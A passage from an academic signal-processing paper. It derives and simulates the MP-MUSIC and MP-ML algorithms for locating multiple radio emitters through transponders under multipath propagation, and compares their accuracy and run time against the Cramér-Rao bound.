k,\mathbf{p}_{e} \right)\Gamma\left( k,\mathbf{p}_{e} \right)$. [Section 3.1.1](#sec3dot1dot1-sensors-18-00892){ref-type="sec"} has discussed that $\Gamma\left( k,\mathbf{p}_{e} \right)$ may be singular, and $\mathbf{C}\left( k \right)$ may be singular, as well. When $\mathbf{C}\left( k \right)$ is singular, there is an $\mathbf{\alpha}$ that satisfies $\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha} = 0$, and the cost function $Q\left( \mathbf{\eta} \right)$ reaches the peak. However, the candidate emitter position is not the true emitter position. If $\Gamma\left( k,\mathbf{p}_{e} \right)$ is near singular, $\mathbf{f}\left( k \right) = \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$ is near singular, as well. The numerator and denominator of the cost function $Q\left( \mathbf{\eta} \right)$ both tend to zero, and the value of the cost function turns out to be unstable. The noise level will seriously affect the value of the cost function in this case, and the model cannot find the emitter accurately. The searching space dimension of ([44](#FD44-sensors-18-00892){ref-type="disp-formula"}) has been reduced to $3D + DNL$, but it is still difficult to solve such a high dimensional non-linear programming. We propose an iterative algorithm in this paper to get the estimation of path attenuations to reduce the time consumption of the MP-ML. 4.2. Remove Imaginary Items in the Programming {#sec4dot2-sensors-18-00892} ---------------------------------------------- Substitute the constraints into the objective function of ([44](#FD44-sensors-18-00892){ref-type="disp-formula"}), $$\begin{array}{cl} {Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 1}^{K}\mathbf{r}^{H}\left( k \right)\Gamma\left( k,\mathbf{p}_{e} \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\Gamma^{H}\left( k,\mathbf{p}_{e} \right)\Gamma\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)} \\ & {= - \sum\limits_{k = 1}^{K}\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\mathbf{f}\left( k \right),} \\ \end{array}$$ where $\mathbf{f}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$, $\mathbf{C}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\Gamma\left( k,\mathbf{p}_{e} \right)$. Henk A. L. Kiers studied a similar convex optimization problem in \[[@B41-sensors-18-00892]\]. Ofer Bar-Shalom and Anthony J. Weiss study the complexity form of the optimization in \[[@B28-sensors-18-00892]\] and its application in \[[@B29-sensors-18-00892]\]. The programming in our work has the complex $\mathbf{f}\left( k \right)$ and $\mathbf{C}\left( k \right)$, but the decision making variables $\mathbf{\alpha}$ are real non-negative values. We modify the iterative process in \[[@B28-sensors-18-00892],[@B41-sensors-18-00892]\] to satisfy the real non-negative constraints in our work. The cost function ([46](#FD46-sensors-18-00892){ref-type="disp-formula"}) can be rewritten by:$$\begin{array}{cl} {Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 0}^{K - 1}\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)} \\ & {= - \sum\limits_{k = 0}^{K - 1}{tr}\left\{ {\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}} \right\},} \\ \end{array}$$ where ${tr}\left( \cdot \right)$ is the trace operator of a matrix. Since $\mathbf{C}\left( k \right)$ and $\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)$ are Hermitian metrics, $\forall\mathbf{\alpha}$ satisfy:$$\begin{aligned} {\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}} & {= \mathbf{\alpha}^{H}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha},} \\ {\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}} & {= \mathbf{\alpha}^{H}\overline{\mathbf{f}}\left( k \right){\overline{\mathbf{f}}}^{H}\left( k \right)\mathbf{\alpha},} \\ \end{aligned}$$ where $\overline{\mathbf{C}}\left( k \right) \triangleq {Re}{\{\mathbf{C}\left( k \right)\}}$, $\overline{\mathbf{f}}\left( k \right) = \mathbf{u}\left( k \right)\mathbf{s}^{\frac{1}{2}}\left( k \right)$, and $\mathbf{u}\left( k \right)\mathbf{s}\left( k \right)\mathbf{v}^{H}\left( k \right)$ is the SVD decomposition of ${Re}\{\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\}$. The complex matrices $\mathbf{f}\left( k \right)$ and $\mathbf{C}\left( k \right)$ are replaced by the matrices $\overline{\mathbf{f}}\left( k \right)$ and $\overline{\mathbf{C}}\left( k \right)$ with real number elements:$$\begin{array}{cl} {Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 1}^{K}{tr}\left\{ {\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}} \right\}} \\ & {= - \sum\limits_{k = 1}^{K}{\overline{\mathbf{f}}}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\overline{\mathbf{f}}\left( k \right).} \\ \end{array}$$ The complex non-linear programming with real constraints ([46](#FD46-sensors-18-00892){ref-type="disp-formula"}) is simplified to be a real non-linear programming (49). 4.3. An Iterative Algorithm for Solving MP-ML {#sec4dot3-sensors-18-00892} --------------------------------------------- We introduce a theorem firstly and then give an iterative algorithm for solving the programming (49). *${\overline{\mathbf{\alpha}}}_{i}$ is a feasible solution of* (49)*, and a better solution of* (49) *is obtained by solving the following programming:* $${\overline{\mathbf{\alpha}}}_{i + 1} = \arg\min\limits_{\overline{\mathbf{\alpha}}}G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}_{e} \right) = \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z},$$ $$\begin{array}{r} {s.t.\mspace{720mu}\overline{\mathbf{\alpha}} \geq 0.} \\ \end{array}$$ *where:* $$\begin{aligned} \mathbf{F} & {\triangleq \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T},} \\ \mathbf{Y} & {\triangleq \mathbf{FU}^{- 1},} \\ \mathbf{X} & {\triangleq \mathbf{U}^{T},} \\ \mathbf{Z} & {\triangleq \mathbf{YY}^{T},} \\ \mathbf{U} & {= \overline{\mathbf{U}}\Sigma^{\frac{1}{2}},} \\ {\mathbf{W}\left( k \right)} & {\triangleq \mathbf{I}_{N} \otimes {diag}{\{\mathbf{w}\left( k \right)\}} \otimes \mathbf{I}_{L},} \\ {\mathbf{w}\left( k \right)} & {\triangleq \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1},} \\ \end{aligned}$$ *$\mathbf{I}_{L}$ is an identify matrix with a size of $L \times L$ and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$. $\overline{\mathbf{U}}$ is the Singular Value Decomposition (SVD) of the following item:* $$\begin{aligned} {\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)} & {= {\overline{\mathbf{U}}}^{T}\Sigma\overline{\mathbf{U}}.} \\ \end{aligned}$$ The proof of Theorem 2 is given in [Appendix B](#app2-sensors-18-00892){ref-type="app"}. The programming ([50](#FD50-sensors-18-00892){ref-type="disp-formula"}) is a linear least squares with bound constraints, and the Trust-Region-Reflective (TRR) algorithm is adopted to solve the programming. The detail of TRR is described in \[[@B42-sensors-18-00892],[@B43-sensors-18-00892],[@B44-sensors-18-00892]\]. Following Theorem 2 and (A11) in the [Appendix B](#app2-sensors-18-00892){ref-type="app"}:$$Q\left( \mathbf{\eta}_{\mathbf{i} + 1} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i + 1} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i + 1},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i} \right) = Q\left( \mathbf{\eta}_{i} \right).$$ We get an iterative method to obtain a better solution than the previous step. Denote the initial estimation of the unknown channel attenuations by $\mathbf{\alpha}_{0}$. The solution of ([50](#FD50-sensors-18-00892){ref-type="disp-formula"}) gives a better estimation of the unknown parameter vector due to the inequality of ([51](#FD51-sensors-18-00892){ref-type="disp-formula"}). Furthermore, we get a better estimation ${\overline{\mathbf{\alpha}}}_{2}$, so that $H\left( {\overline{\mathbf{\alpha}}}_{2} \right) \leq G\left( \mathbf{\alpha}_{1},{\overline{\mathbf{\alpha}}}_{2},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{1},{\overline{\mathbf{\alpha}}}_{1},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{1} \right)$. Thus, $H\left( {\overline{\mathbf{\alpha}}}_{2} \right) \leq H\left( {\overline{\mathbf{\alpha}}}_{1} \right) \leq H\left( {\overline{\mathbf{\alpha}}}_{0} \right)$. The detail of the iterative procedure is shown in the Algorithm 2 in the supplementary file. 4.4. Getting the Initial Value {#sec4dot4-sensors-18-00892} ------------------------------ The performance of the iterative algorithm is determined by the initial value ${\overline{\mathbf{\alpha}}}_{0}$. The path attenuations from the MP-MUSIC algorithm are used as the initial value of the MP-ML. The initial path attenuations of the emitter *d* are denoted by ${\overline{\mathbf{\alpha}}}_{0}\left( d \right)$, and they are estimated by the MP-MUSIC in Algorithm 1. For a fixed emitter position combination $\mathbf{p}_{e}$, evaluate the MP-MUSIC algorithm to get the initial path attenuations ${\hat{\mathbf{\alpha}}}_{d}$ of the position $\mathbf{p}_{e}\left( d \right)$, $d = 1,2,\ldots,D$. Reshape $\hat{\mathbf{\alpha}} = {\lbrack{\hat{\mathbf{\alpha}}}_{1}^{T},{\hat{\mathbf{\alpha}}}_{2}^{T},,\ldots,{\hat{\mathbf{\alpha}}}_{D}^{T}\rbrack}^{T}$ to get the initial attenuations vector:$${\overline{\mathbf{\alpha}}}_{0} = {\lbrack{\overline{\mathbf{\alpha}}}_{1}^{T},{\overline{\mathbf{\alpha}}}_{2}^{T},\ldots,{\overline{\mathbf{\alpha}}}_{D}^{T}\rbrack}^{T}$$ where:$$\begin{aligned} {\hat{\mathbf{\alpha}}}_{d} & {= {\lbrack{\hat{\mathbf{\alpha}}}_{d1}^{T},{\hat{\mathbf{\alpha}}}_{d2}^{T},\ldots,{\hat{\mathbf{\alpha}}}_{dN}^{T}\rbrack}^{T},} \\ {\hat{\mathbf{\alpha}}}_{dn} & {= {\lbrack{\hat{\alpha}}_{dn1},{\hat{\alpha}}_{dn2},,\ldots,{\hat{\alpha}}_{dnL}\rbrack}^{T},} \\ \end{aligned}$$ and ${\hat{\alpha}}_{dn\ell}$ is estimated from MP-MUSIC. 4.5. MP-ML Algorithm {#sec4dot5-sensors-18-00892} -------------------- Algorithm 2 in the Supplementary File optimizes the parameters $\mathbf{\alpha}$ for a fixed emitter positions combination $\mathbf{p}_{e}$. The searching dimension is reduced to $3D$ further. It is possible to solve a $3D$ dimensional nonlinear programming. The MP-ML algorithm is proposed in Algorithm 2 Define the Region of Interest (RoI) by $\mathbf{p}$, and apply the MP-MUSIC algorithm described in Algorithm 1 to get an initial solution $\mathbf{p}_{e} = {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T}$ and the corresponding path attenuations $\mathbf{\alpha}_{0}$. Adopt Algorithm 2 in the Supplementary File to get the optimal estimations of attenuations $\mathbf{\alpha}$ and the cost function of emitter positions $\mathbf{p}_{e}$. Design a suitable searching path $\mathbf{p}_{e}^{i}$, $i = 1,2,\ldots$, such as the Gaussian method, and get the optimal emitter position estimations. Algorithm 2: MP-ML algorithm. 5. Numerical Examples {#sec5-sensors-18-00892} ===================== Some numerical examples are given to demonstrate the performances of the above algorithms. 5.1. Scenario Setting and Performance Index Definition {#sec5dot1-sensors-18-00892} ------------------------------------------------------ In numerical simulations, three emitters are located at $\lbrack 0,0,0\rbrack$, $\lbrack 50,0,0\rbrack$ and $\lbrack 0,50,0\rbrack$, and four receiving arrays are located at $\lbrack 2200, - 2100,0\rbrack$, $\lbrack 3300,600,0\rbrack$, $\lbrack 3100, - 700,0\rbrack$ and $\lbrack 2300,2500,0\rbrack$. There are two different layouts of transponders in the simulations. The first one is the basic scenario, and the second one is designed to test the performances when a transponder is close to the anther. There are four transponders located at $\lbrack - 1210,100,200\rbrack$,$\lbrack 100,1120,200\rbrack$, $\left( - 100, - 1040,200 \right)$ and $\lbrack 970,160,200\rbrack$ in Scenario A (see [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a) ([Figure 3](#sensors-18-00892-f003){ref-type="fig"} is a top view of the system layout. Height information is not indicated in the figure.). We move the third transponder to $\lbrack 100,1100,200\rbrack$ in Scenario B (see [Figure 3](#sensors-18-00892-f003){ref-type="fig"}b). All the positions are measured in km. Each receiving array is a Uniform Circular Array (UCA) with eleven antennas and a radius of 30 m. The bandwidth is 8 kHz. The carrier frequency is 10 MHz. The simulation results are based on 200 Monte Carlo runs to gather enough statistics. The source signal of each emitter and the path attenuation coefficients are generated randomly once for all the Monte Carlo runs, while the additive noises are regenerated at each run. The complex-valued signal frequency coefficients are subject to ${\parallel {\check{\mathbf{s}}}_{d} \parallel}_{F}^{2} = 1$. The path attenuation coefficients are drawn from a uniform distribution between zero and one. The SNR is defined in terms of "post-processing SNR", which is given by:$$\begin{aligned} {SNR} & {\triangleq \frac{E\left\{ {\sum_{k = 1}^{K}{\parallel \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right) \parallel}_{F}^{2}} \right\}}{K\sigma^{2}}.} \\ \end{aligned}$$ Root-Mean-Squared Error (RMSE) of the estimated position is adopted as the performance index of the algorithms. RMSE is given by:$${RMSE}\left( \mathbf{p}_{e} \right) \triangleq \sqrt{\frac{\sum_{i = 1}^{N_{s}}{\parallel {\hat{\mathbf{p}}}_{e} - \mathbf{p}_{e} \parallel}_{F}^{2}}{N_{s}D}},$$ where $N_{s}$ is the number of Monte Carlo runs, *D* is the number of emitters, $\mathbf{p}_{e}$ are the real emitter positions and ${\hat{\mathbf{p}}}_{e}$ are the estimated emitter positions A scalar quantity of the CRLB matrix corresponding to RMSE is defined as:$$\overline{CRLB}\left( \mathbf{p}_{e} \right) \triangleq \sqrt{\frac{\lambda_{\max}{\lbrack{CRLB}\left( \mathbf{p}_{e} \right)\rbrack}}{D}},$$ where $\lambda_{\max}{\lbrack{CRLB}\left( \mathbf{p}_{e} \right)\rbrack}$ is the maximal eigenvalue of ${CRLB}\left( \mathbf{p}_{e} \right)$. The computation of the CRLB matrix is presented in Section 3 of the Supplementary File \[[@B45-sensors-18-00892],[@B46-sensors-18-00892],[@B47-sensors-18-00892]\]. 5.2. Performances of the MP-MUSIC Method {#sec5dot2-sensors-18-00892} ---------------------------------------- We compare the performances of the following MUSIC algorithms:SSP-MUSIC: Signal Subspace Projection MUSIC proposed in \[[@B18-sensors-18-00892]\],NSP-MUSIC: Noise Subspace Projection MUSIC without non-negative and real constraints,MP-MUSIC-IPA: Noise subspace projection MUSIC with real and non-negative constraints in the multipath propagation scenario and solved by the Interior Point Algorithm,MP-MUSIC-ASA: Noise subspace projection MUSIC with real and non-negative constraints in the multipath propagation scenario and solved by the Active Set Algorithm. ### 5.2.1. SSP-MUSIC and NSP-MUSIC in a Single Path Propagation Positioning Scenario {#sec5dot2dot1-sensors-18-00892} The single emitter is placed at \[0,0\] (km), and only the direct paths are taken into consideration. [Figure 4](#sensors-18-00892-f004){ref-type="fig"} gives the spatial spectrum in a single path propagation positioning scenario (Actually, the spatial spectrum of a 3D positioning is a 3D spectrum, but in order to show the form of spatial spectrum more intuitively, the spatial spectrum displayed in this paper only gives a horizontal slice of the 3D spatial spectrum at the real *Z* value (where $z = 0$)). We find the peak in the spatial spectrum of SSP-MUSIC ([Figure 4](#sensors-18-00892-f004){ref-type="fig"}a), but the NSP-MUSIC proposed in this paper ([Figure 4](#sensors-18-00892-f004){ref-type="fig"}b) holds a sharper peak and more precise estimation than SSP-MUSIC in a single path positioning context. The following simulations are designed to study the performance of those MUSIC methods in the presence of multi-path propagation. ### 5.2.2. SSP-MUSIC, NSP-MUSIC and MP-MUSIC in a Multi-Path Propagation Positioning {#sec5dot2dot2-sensors-18-00892} We design four numerical simulations in this section. The simulation parameters are set as in [Table 1](#sensors-18-00892-t001){ref-type="table"}, where *R* is the radius of the UCA, $\lambda$ and *f* are the carrier wave length and frequency, *M* is the number of the antennas in a receiving array, *B* is the bandwidth of the source signals, *K* is the number of frequencies and *J* is the number of sections of a received signal. Baseband signal positioning: [Figure 5](#sensors-18-00892-f005){ref-type="fig"} gives the spatial spectrum when $R \ll \lambda$. The emitter positions $\mathbf{p}_{\mathbf{e}}$ that make $\mathbf{E}\left( \mathbf{p}_{\mathbf{e}} \right)$ singular or nearly singular constitute the yellow hyperbolic curves in the SSP-MUSIC spectrum and the NSP-MUSIC spectrum. Neither SSP-MUSIC nor NSP-MUSIC find the emitters correctly when $R \ll \lambda$. We cannot find any peak in SSP-MUSIC. Three peaks are found in the spectrum of NSP-MUSIC, but they are disrupted by the hyperbolic curves. MP-MUSIC with real and non-negative constraints finds three sharp peaks correctly. Two transponders are close: [Figure 6](#sensors-18-00892-f006){ref-type="fig"} gives the spatial spectrum when a transponder is close to the anther. The nearest distance of transponders is 20 km in the simulation. When two transponders are close, the array responses of the receiving array with respect to the two transponders are almost same. The yellow hyperbolic curves in the SSP-MUSIC and the NSP-MUSIC spectrum are the candidate positions, which make $\Gamma\left( k \right)$ singular. SSP-MUSIC and NSP-MUSIC failed to locate the emitters in this context, but MP-MUSIC gets the emitter positions correctly. Single antenna of each receiving station: [Figure 7](#sensors-18-00892-f007){ref-type="fig"} gives the spatial spectrum when $M = 1$. The array responders are defined as $\mathbf{a}_{\ell n}\left( k \right) = 1$, and an SMC will make $\Gamma\left( k \right)$ singular. General scenario: [Figure 8](#sensors-18-00892-f008){ref-type="fig"} gives the spatial spectrum of a general parameter setting scenario. Although there is no deliberate construction of conditions that leads to $\Gamma\left( k \right)$ singularity in the general scenario, SSP-MUSIC and NSP-MUSIC still cannot obtain the emitter positions. However, MP-MUSIC obtains the three emitter locations accurately. ### 5.2.3. Performances of MP-MUSIC-ASA and MP-MUSIC-IPA {#sec5dot2dot3-sensors-18-00892} We down convert the radio frequency signals to baseband signals firstly to avoid the multiple peak searching of the radio frequency signal positioning. The simulation parameters are set as in [Table 2](#sensors-18-00892-t002){ref-type="table"}. The RMSE of MP-MUSIC-ASA, MP-MUSIC-IPA and the CRLB are given in [Figure 9](#sensors-18-00892-f009){ref-type="fig"}. Since ASA could find the global optimal solution, the performance of MP-MUSIC-ASA should be no worse than that of MP-MUSIC-IPA. The numerical simulation results show that both MP-MUSIC-ASA and MP-MUSIC-IPA find the global optimal solution and have the same RMSE because of the convexity of the cost function. Simulations are done on a server with Intel Xeon CPU E5-2630 v4, 16 G memory, and Matlab2016a. The MATLAB function "lsqlin" is adopted to verify the performance of IPA. We repeat the simulation 1000 times to get the distribution of the time-consumption of the ASA and IPA sections. It is assumed that the time consumptions $t_{ASA}$ and $t_{IPA}$ follow normal distributions, and $t_{ASA}{\sim N\left( 5.8175 \times \right.}10^{- 5}$, $4.8311 \times 10^{- 6})$, $t_{IPA} \sim N\left( 3.4756 \times 10^{- 3},2.2225 \times 10^{- 5} \right)$ (seconds). Benefiting from the convex properties and a reasonable initial value of $\mathbf{\alpha}$ in ASA, ASA consumes only 1.67% more time than IPA and has a more stable time consumption than IPA (It should be noticed that the time consumption of MP-MUSIC-ASA will be determined by the path attenuations and SNR. A low SNR and small $\alpha_{\ell n}$ make the constraint $\alpha_{\ell n} \geq 0$ an active constraint ($\alpha_{\ell n} = 0$.). The time consumption of MP-MUSIC-ASA is deeply affected by the number of elements in the active set. 5.3. The Performance of MP-ML and MP-MUSIC {#sec5dot3-sensors-18-00892} ------------------------------------------ We compare the performances of MP-ML and MP-MUSIC in cases of different numbers of snapshots. ### 5.3.1. Insufficient Snapshots {#sec5dot3dot1-sensors-18-00892} If the number of snapshots is insufficient, we cannot obtain a reliable covariance matrix estimation of observations, and MP-MUSIC will fail to get the emitter positions. The simulation parameters are set as in [Table 3](#sensors-18-00892-t003){ref-type="table"}. The performances of MP-MUSIC and MP-ML with 32 snapshots (16 frequencies) are compared in [Figure 10](#sensors-18-00892-f010){ref-type="fig"}. Only 32 snapshots of each receiver are taken for positioning. Thirty two snapshots are not divided into sections to estimate the covariance matrix in NSP-MUSIC (that is $K = 16,J = 1$). The RMSE of NSP-MUSIC cannot be reduced further with the increasing of SNR because of the error of the covariance matrix estimation. The MP-ML obtains a better performance than the MP-MUSIC in the sense of insufficient snapshots. ### 5.3.2. Performances of Different *K* and *J* Combinations {#sec5dot3dot2-sensors-18-00892} We discuss the performances of MP-MUSIC with different *K* and *J* combinations in [Figure 11](#sensors-18-00892-f011){ref-type="fig"}. The total number of snapshots in the simulations is 256 ($K \cdot J = 128$). The other parameters are set as in [Table 4](#sensors-18-00892-t004){ref-type="table"}. [Figure 11](#sensors-18-00892-f011){ref-type="fig"} gives the performances of MP-MUSIC with different combinations of *J* and *K*. The number of the snapshots used in the simulation is 256. MP-ML establishes a maximum likelihood function of the 256 snapshots to estimate the emitter positions together, and it has a better performance than MP-MUSIC. The performances of MP-MUSIC methods are effected by the error of covariance estimations and the bandwidth. A smaller *J* leads to a larger error of the covariance estimation; in addition, a smaller *K* leads to a smaller number of observation equations. ### 5.3.3. The Performances of Different Numbers of Snapshots {#sec5dot3dot3-sensors-18-00892} We compare the performances of the MP-MUSIC and the MP-ML with different numbers of snapshots in [Figure 12](#sensors-18-00892-f012){ref-type="fig"} (The CRLB derived in the Appendix shows that the CRLB is determined by the signal snapshots. The CRLB in [Figure 12](#sensors-18-00892-f012){ref-type="fig"} is the average of 100 simulations with random signal snapshots.). The other parameters are set as in [Table 5](#sensors-18-00892-t005){ref-type="table"}. The performances of MP-MUSIC and MP-ML with $K \cdot J = 2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ are studied in this section. Since the performance of MP-MUSIC is determined by the combination of *K* and *J*, we choose the best combination of $K,J$ in the MP-MUSIC simulation. As the number of snapshots increases, the RMSE decreases gradually in [Figure 12](#sensors-18-00892-f012){ref-type="fig"}. If the number of snapshots is abundant ($K \cdot J > 1024$), both MP-MUSIC and MP-ML are close to the CRLB. If the number of snapshots is insufficient ($K \cdot J < 256$), the performance of MP-MUSIC will suffer a serious deterioration. However, MP-ML is much less affected by the insufficient snapshots. ### 5.3.4. Time Consumptions of MP-MUSIC and MP-ML {#sec5dot3dot4-sensors-18-00892} MP-MUSIC computes the cost values of the candidate one by one to obtain the spatial spectrum; while MP-ML computes the likelihood function of all combinations of *d* emitters. MP-ML consumes more time to obtain the emitter positions than MP-MUSIC. We compare the time consumptions and the corresponding performances of MP-MUSIC and MP-ML with different *d*. The simulation parameters are set as in [Table 6](#sensors-18-00892-t006){ref-type="table"}, and the simulation results are given in [Figure 13](#sensors-18-00892-f013){ref-type="fig"}. The layout of transponders and receiving arrays are defined as in [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a, and the four emitters are placed at $\lbrack 0,0,0\rbrack,\lbrack 50,0,0\rbrack,\lbrack 0,50,0\rbrack,\lbrack 50,50,0\rbrack$ (km). We choose *d* emitters in four random placements to analyze the time consumptions of MP-MUSIC and MP-ML with different *d*. We perform 100 simulation runs to gather enough statistics. In [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a, because MP-MUSIC calculates the cost function value of each candidate one by one, while MP-ML computes all combinations of *d* emitters, the time consumption of MP-MUSIC is almost independent of *d*, and MP-ML increases exponentially with *d*. The time consumption of MP-MUSIC is mainly determined by *K* rather than the number of snapshots (the two red lines in [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a, which represent MP-MUSIC ($K = 16,J = 8$) and MP-MUSIC ($K = 16,J = 1$), are almost coincident), because the dimension of the matrix in the cost function is determined by *K*, and it is independent of *J*. Besides, the time consumption of MP-ML is determined by the number of snapshots ($KJ = 128$ costs much more time than $KJ = 16$). [Figure 13](#sensors-18-00892-f013){ref-type="fig"}b presents the performances corresponding to [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a. When the snapshots are sufficient ($KJ = 128$), the positioning accuracy improvement of MP-ML is not significant compared to MP-MUSIC, but it costs much more time to obtain the positions. In this case, applying MP-MUSIC to get emitter positions is a wise choice. When the snapshots are insufficient ($JK = 16$), MP-ML obtains a better performance than MP-MUSIC, although MP-ML costs much more time to get the results. It is worth much more time to obtain a much better performance when the snapshots are insufficient. Benefiting from a good initial value of MP-MUSIC and an efficient searching strategy (steepest descent method), the time consumption of MP-ML is acceptable when the snapshots are insufficient. The time consumption of ASA in MP-MUSIC is determined by the a priori information of the initial active set $\mathcal{W}$, and it can be derived with some other techniques, e.g., direction finding. MP-ML costs much more time than MP-MUSIC, especially in the the case of a large number of emitters. Fortunately, MP-MUSIC, which is adopted to obtain an initial value of MP-ML, provides "not bad" solutions quickly, and the iterative algorithm continues outputting better and better solutions (see [Figure 14](#sensors-18-00892-f014){ref-type="fig"}). The simulation parameters are set the same as the second row in [Table 6](#sensors-18-00892-t006){ref-type="table"}, and $d = 3$. MP-ML does not output the result until $T_{0}$, because MP-MUSIC is running from zero to $T_{0}$ to obtain the initial solution of MP-ML. The RMSE of MP-ML is monotone decreasing and continuous for the output results. In real applications, we can find a trade-off between the time consumption and positioning accuracy to obtain an acceptable solution. 5.4. Performance of SGP and MP-ML {#sec5dot4-sensors-18-00892} --------------------------------- Single Platform Geolocation (SPG) mentioned in \[[@B28-sensors-18-00892]\] used only one platform to position the single emitter; while MP-ML uses multiple receiving arrays and locates multiple emitters simultaneously. ### 5.4.1. SPG and MP-ML with a Single Emitter {#sec5dot4dot1-sensors-18-00892} Assume that there is only one emitter ($D = 1$, $\mathbf{p}_{e} = {\lbrack 0,0,0\rbrack}^{T}$km) in the RoI. [Figure 15](#sensors-18-00892-f015){ref-type="fig"} compares the performance of SPG and that of MP-ML with different numbers of receivers. The other parameters are set as in [Table 7](#sensors-18-00892-t007){ref-type="table"}. We compare the performances of MP-ML with *N* receivers, $N = 1,2,3,4$, and give the corresponding CRLB, as well. When $D = 1$ and $N = 1$, MP-ML degenerates into SPG. The RMSE of *N* receivers is obtained from the average of the RMSE of all combinations of *N* receivers in four positions, and the positions of the four receiving stations are defined as Layout A. The simulation demonstrates that the performance is significantly improved as the number of receiving stations increases. The program with four receiving stations gains nearly a $10^{5}$ performance improvement compared to SPG. ### 5.4.2. Performance of Positioning Multiple Emitters {#sec5dot4dot2-sensors-18-00892} MP-ML has the ability of positioning multiple emitters synchronously. We analyze the performances of different numbers of emitters in this section. We place four emitters in the RoI. Emitters are placed at $\lbrack 0,0,0\rbrack,\lbrack 50,0,0\rbrack,\lbrack 0,50,0\rbrack,\lbrack 50,50,0\rbrack$ and $\lbrack 25,25,0\rbrack$ (km). We layout four transponders and four receiving arrays as in [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a. The RMSE of *D* emitters, where $D = 1,2,3,4,5$, is obtained from the average of the RMSE of all combinations of *D* emitters in five positions. The RMSEs and CRLBs of different *D* are displayed in [Figure 16](#sensors-18-00892-f016){ref-type="fig"}. The other parameters are set the same as in [Table 7](#sensors-18-00892-t007){ref-type="table"}. [Figure 16](#sensors-18-00892-f016){ref-type="fig"} only gives the RMSEs and CRLBs when $D = 1,2,3,4$, since the RMSE turns out to be unstable and the CRLB turns out to be $+ \infty$ when $D = 5$. This can be explained by the algebra principle that the number of unknown emitters cannot be greater than the number of transponders. The numerical simulations and CRLB results demonstrate that the performance of MP-ML is influenced by the number of emitters. If $D \ll L$, the number of emitters has only a slight effect on the performance of MP-ML, and if $D = L$, the performance will decline significantly. If $D > L$, MP-ML cannot find any emitter at all. 6. Conclusions {#sec6-sensors-18-00892} ============== A novel geolocation architecture, termed "Multiple Transponders and Multiple Receivers for Multiple Emitters Positioning System (MTRE)" is proposed in this paper. A Direct Position Determination for Multi-path Propagation positioning (MP-DPD) model and a MUltiple SIgnal Classification algorithm for Multi-path Propagation positioning (MP-MUSIC) were proposed to position the emitters in an MTRE system. To optimize the cost function of the MP-MUSIC efficiently, we proved that the cost function of the MP-MUSIC was a linear and non-negative constrained quadratic convex programming. A algorithm named Active Set Algorithm (ASA) is designed to solve the quadratic convex programming further. Numerical results show that the MP-MUSIC with ASA locates multiple emitters precisely, but the Signal Subspace Projection MUSIC algorithm (SSP-MUSIC) does not. We compared the time 